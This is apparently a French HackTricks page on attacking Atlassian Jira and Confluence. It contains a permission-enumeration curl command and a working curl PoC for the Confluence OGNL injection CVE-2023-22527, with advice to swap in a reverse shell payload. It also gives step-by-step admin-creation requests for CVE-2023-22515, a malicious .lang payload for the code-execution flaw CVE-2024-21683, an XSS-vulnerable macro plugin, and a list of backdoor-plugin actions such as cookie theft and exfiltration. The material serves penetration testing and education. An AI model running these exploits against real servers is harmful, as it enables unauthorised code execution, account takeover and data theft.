Jira & Confluence

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Vérifier les privilÚges

Dans Jira, il est possible de vĂ©rifier les privilĂšges pour n’importe quel utilisateur, authentifiĂ© ou non, via les endpoints /rest/api/2/mypermissions ou /rest/api/3/mypermissions. Ces endpoints rĂ©vĂšlent les privilĂšges actuels de l’utilisateur. Un point prĂ©occupant survient lorsque des utilisateurs non authentifiĂ©s disposent de privilĂšges, ce qui indique une vulnĂ©rabilitĂ© de sĂ©curitĂ© potentiellement Ă©ligible Ă  une bounty. De mĂȘme, des privilĂšges inattendus pour des utilisateurs authentifiĂ©s signalent aussi une vulnĂ©rabilitĂ©.

Une importante mise Ă  jour a Ă©tĂ© effectuĂ©e le 1er fĂ©vrier 2019, exigeant que l’endpoint ‘mypermissions’ inclue un paramĂštre ‘permission’. Cette exigence vise Ă  renforcer la sĂ©curitĂ© en spĂ©cifiant les privilĂšges interrogĂ©s : check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

Example: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

ÉnumĂ©ration automatisĂ©e

RCE rĂ©cents & notes pratiques d’exploitation (Confluence)

CVE-2023-22527 – unauthenticated template/OGNL injection (10.0)

  • Affecte Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Le template Velocity vulnĂ©rable text-inline.vm permet l’évaluation OGNL sans authentification.
  • PoC rapide (la commande s’exĂ©cute en tant qu’utilisateur confluence) :
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • L’en-tĂȘte de rĂ©ponse x-cmd contiendra la sortie de la commande. Remplacez id par un payload reverse shell.
  • Scanner : nuclei template http/cves/2023/CVE-2023-22527.yaml (ships in nuclei-templates ≄9.7.5).

CVE-2023-22515 – rĂ©activation du setup et crĂ©ation d’un admin (auth bypass)

  • Confluence Data Center/Server 8.0.0–8.5.1 accessible publiquement permet de basculer setupComplete et de relancer /setup/setupadministrator.action pour crĂ©er un nouveau compte admin.
  • Minimal exploit flow :
  1. GET /server-info.action (non authentifiĂ©) pour vĂ©rifier l’accessibilitĂ©.
  2. POST /server-info.action avec les paramĂštres buildNumber pour basculer le flag setup.
  3. POST /setup/setupadministrator.action avec fullName, email, username, password, confirm pour créer un admin.

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Confluence Admin peut uploader une dĂ©finition de langue spĂ©cifiquement conçue dans Configure Code Macro ; le moteur Rhino exĂ©cute du Java intĂ©grĂ©, entraĂźnant une RCE.
  • Pour obtenir un shell, tĂ©lĂ©versez un fichier .lang contenant un payload comme :
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • DĂ©clenchĂ© en sĂ©lectionnant le langage malveillant dans n’importe quel corps de Code Macro. Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 automatise auth + upload + exec.

Plugins Atlasian

Comme indiquĂ© dans ce blog, dans la documentation sur Plugin modules ↗ il est possible de consulter les diffĂ©rents types de plugins, comme :

Voici un exemple du type de plugin macro :

Exemple de plugin macro ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

Il est possible d'observer que ces plugins peuvent ĂȘtre vulnĂ©rables Ă  des vulnĂ©rabilitĂ©s web courantes comme XSS. Par exemple, l'exemple prĂ©cĂ©dent est vulnĂ©rable car il reflĂšte des donnĂ©es fournies par l'utilisateur.

Une fois qu'un XSS est trouvé, dans [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) vous pouvez trouver des payloads pour augmenter l'impact du XSS.

## Backdoor Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) décrit différentes actions (malicieuses) qu'un plugin Jira malveillant pourrait effectuer. Vous pouvez trouver [**code example in this repo**](https://github.com/cyllective/malfluence).

Ce sont quelques-unes des actions qu'un plugin malveillant pourrait effectuer :

- **Hiding Plugins from Admins**: Il est possible de cacher le plugin malveillant en injectant du javascript front-end
- **Exfiltrating Attachments and Pages**: Permet d'accéder et d'exfiltrer toutes les données.
- **Stealing Session Tokens**: Ajouter un endpoint qui renverra les headers dans la réponse (avec le cookie) et un javascript qui le contactera et leak the cookies.
- **Command Execution**: Bien sûr il est possible de créer un plugin qui exécutera du code.
- **Reverse Shell**: Ou obtenir un reverse shell.
- **DOM Proxying**: Si confluence est à l'intérieur d'un réseau privé, il serait possible d'établir une connexion via le navigateur d'un utilisateur ayant accÚs à celui-ci et par exemple contacter le serveur en exécutant des commandes à travers lui.



## Références

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépÎts github.
>
> </details>